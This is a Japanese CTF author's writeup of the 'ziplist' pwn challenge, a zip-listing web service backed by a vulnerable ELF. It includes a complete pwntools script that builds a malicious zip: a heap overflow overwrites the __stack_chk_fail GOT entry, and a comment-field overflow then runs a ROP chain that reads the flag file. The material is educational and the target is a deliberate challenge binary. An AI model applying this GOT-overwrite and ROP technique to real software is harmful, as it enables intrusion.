CTFするぞ

CTF以外のことも書くよ

【Pwn 350】ziplist - InterKosenCTF 作問writeup

はじめに

この記事ではInterKosenCTFで出題した問題の解説を書きます。 他の問題のwriteupについては下記リンクから参照してください。

ptr-yudai.hatenablog.com

概要

Description: The flag is written in /home/pwn/flag.
http://pwn.kosenctf.com:9300/
File: ziplist.tar.gz

64-bit ELFとそのソースコード一式,flaskサーバーのソースコードも渡されます. アップロードしたzipファイルの中身を一覧でbase64エンコードして返してくれるWebサービスですが,内部で呼び出しているELFに脆弱性があります. さて,バイナリのセキュリティ機構は普通にgccコンパイルしたような状態になっています.

$ checksec ziplist 
[*] '/home/ptr/workspace/ctf/challenges/ziplist/build/ziplist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

今回はzipを送って結果が返ってくるという形なので,libcベースをリークしたりシェルを奪ったりということは考えません. ソースコードから脆弱性を探すと,まずzipのコメントを格納する変数にバッファオーバーフロー脆弱性があります.

char comment[64];

しかしSSPが有効なので単にオーバーフローはできません.

さらに他の脆弱性を探すと,ファイル名を取得する場所にヒープオーバーフローの脆弱性があります.

*entry = (CentralDirectoryFileHeader**)malloc(sizeof(CentralDirectoryFileHeader*) * footer->total_entries);
for(i = 0; i < footer->total_entries; i++) {
  (*entry)[i] = (CentralDirectoryFileHeader*)malloc(sizeof(CentralDirectoryFileHeader) - sizeof(char*));
  (*entry)[i]->filename = (char*)malloc(64);
}

したがって,方針としてはヒープオーバーフローで__stack_chk_failBOFの検知機構)をretなどのrop gadgetに上書きし,その後commentのバッファオーバーフローでROPを実行します. ROPではreadfile(char *filepath, int filesize)を呼び出せばよいので,ROPでreadfile("/home/pwn/flag", 0xFF)みたいなのを呼び出せればフラグが出力されます. 少し違う解き方をしていたチームもあったので,そちらは解法2で紹介します.

解法1

まずはヒープオーバーフローで__stack_chk_failを無効化します. 最初にファイルの個数分だけヒープに領域(CentralDirectoryFileHeader)が取られます. また,CentralDirectoryFileHeaderはファイル名へのポインタを持っており,これも各CDFHをmallocした直後にmallocされています. したがって,1つ目のfilenameのオーバーフローで2つ目の領域の&filenameを__stack_chk_failのGOTに上書きし,2つ目のfilenameとしてretのアドレスを用意します.

overwrite = p64(got_stack_chk_fail)
filename1 = "1" * 0x7e + overwrite
filename2 = p64(rop_ret)

zipfile = ''
zipfile += DirHeader1
zipfile += filename1
zipfile += DirHeader2
zipfile += filename2

これでcommentに適当な文字をいっぱい入れるととりあえずSSPを通過してセグフォすることが確認できます.

さて,commentの方にreadfileの引数を入れるROPを書きます. x64ではrdi, rsi, rdx, ...の順に引数が取られるのでflagへのポインタをrdiに,flagから読み取る文字数をrsiに入れます. rp++でROP gadgetを探すと,次のようなgadgetが使えそうです.

0x00400c9c: pop rax ; ret  ;  (1 found)
0x00400ce3: pop rdx ; ret  ;  (1 found)
0x00400bfa: mov dword [rax], edx ; pop rbp ; ret  ;  (4 found)
0x00401043: pop rdi ; ret  ;  (1 found)
0x00401041: pop rsi ; pop r15 ; ret  ;  (1 found)

ここで注意してほしいのが,0x00400bfaのgadgetは本当は0x00400bfbに位置しており,0x00400bfaだと動きません. rp++のバグだと思いますが,ROPGadgetとかだと正しく出してくれるのでしょうか. さて,方針としてはpop raxbssセクションなど書き込み可能な領域のアドレスを入れて,pop rdxflagなどの文字を入れます. その後mov dword [rax], edx; pop rbp;を実行すれば文字を書き込めます. あとはpop rdipop rsiで引数を入れて,readfileへリターンすればフラグが出力されます. この攻撃をするzipファイルを生成するpythonコードです.

# coding: utf-8
from pwn import *

elf = ELF("./ziplist")
rop_ret = 0x00400639
rop_pop_rax = 0x00400c9c
rop_pop_rdx = 0x00400ce3
rop_pop_rdi = 0x00401043
rop_pop_rsi_r15 = 0x00401041
rop_mov_rax_edx_pop_rbp = 0x00400bfb
addr_readfile = elf.symbols['readfile']
got_scf = elf.got['__stack_chk_fail']
print("[+] Jump to: " + hex(addr_readfile))
print("[+] GOT of __stack_chk_fail: " + hex(got_scf))

overwrite = p64(got_scf)
filename1 = "1" * 0x7e + overwrite
filename2 = p64(rop_ret)

filepath = p64(elf.bss())
filesize = p64(64)
print("[+] readfile({}, {})".format(hex(elf.bss()), 64))
payload = "A" * 64        # comment
payload += "BBBBBBBB" * 5 # garbage
payload += p64(rop_pop_rax) # rax <-- filepath
payload += filepath
payload += p64(rop_pop_rdx) # rdx <-- 'flag'
payload += "flag    "
payload += p64(rop_mov_rax_edx_pop_rbp) # filepath = 'flag'
payload += "CCCCCCCC"
payload += p64(rop_pop_rdi) # rdi <-- filepath
payload += filepath
payload += p64(rop_pop_rsi_r15) # rsi <-- filesize
payload += filesize
payload += "DDDDDDDD"
payload += p64(addr_readfile) # readfile(filepath, filesize)
payload += "AAAAAAAA"

DirHeader1 = ''
DirHeader1 += p32(0x02014b50)
DirHeader1 += p16(0) * 8
DirHeader1 += p32(8) * 2
DirHeader1 += p16(len(filename1)) # ファイル名の長さ
DirHeader1 += p16(0) * 4
DirHeader1 += p32(0) * 2

DirHeader2 = ''
DirHeader2 += p32(0x02014b50)
DirHeader2 += p16(0) * 8
DirHeader2 += p32(8) * 2
DirHeader2 += p16(len(filename2)) # ファイル名の長さ
DirHeader2 += p16(0) * 4
DirHeader2 += p32(0) * 2

EndOfFile = ''
EndOfFile += p32(0x06054B50)
EndOfFile += p16(0) * 2
EndOfFile += p16(2) * 2 # エントリ数
EndOfFile += p32(0)
EndOfFile += p32(0)     # Central Directory Headerのオフセット
EndOfFile += p16(len(payload))
EndOfFile += payload    # コメント

zipfile = ''
zipfile += DirHeader1
zipfile += filename1
zipfile += DirHeader2
zipfile += filename2
zipfile += EndOfFile

with open("malicious.zip", "wb") as f:
    f.write(zipfile)

解法2

パケットを観測していると,だいたい同じですが少し違うアプローチをしているチームもありました. commentでrop gadgetを動かすのではなく,ファイル名のヒープオーバーフローを多用してreadfile("/home/ptr/flag", 100)の引数を用意する方法です. 問題を作ったときはROPで上手く文字列を渡せなかったのでpop raxやpop rdxのgadgetを用意したのですが,そんなことしなくても解けたんですね. 勉強になりました.

あとがき

4チームも解いてくれて嬉しかったです! 私の浅い経験では,こういうソフトウェアの脆弱性を突く攻撃ファイルを作る,という問題を見たことがなかったので出題してみました. この問題は結構評価が高かったので作って良かったと思ってます.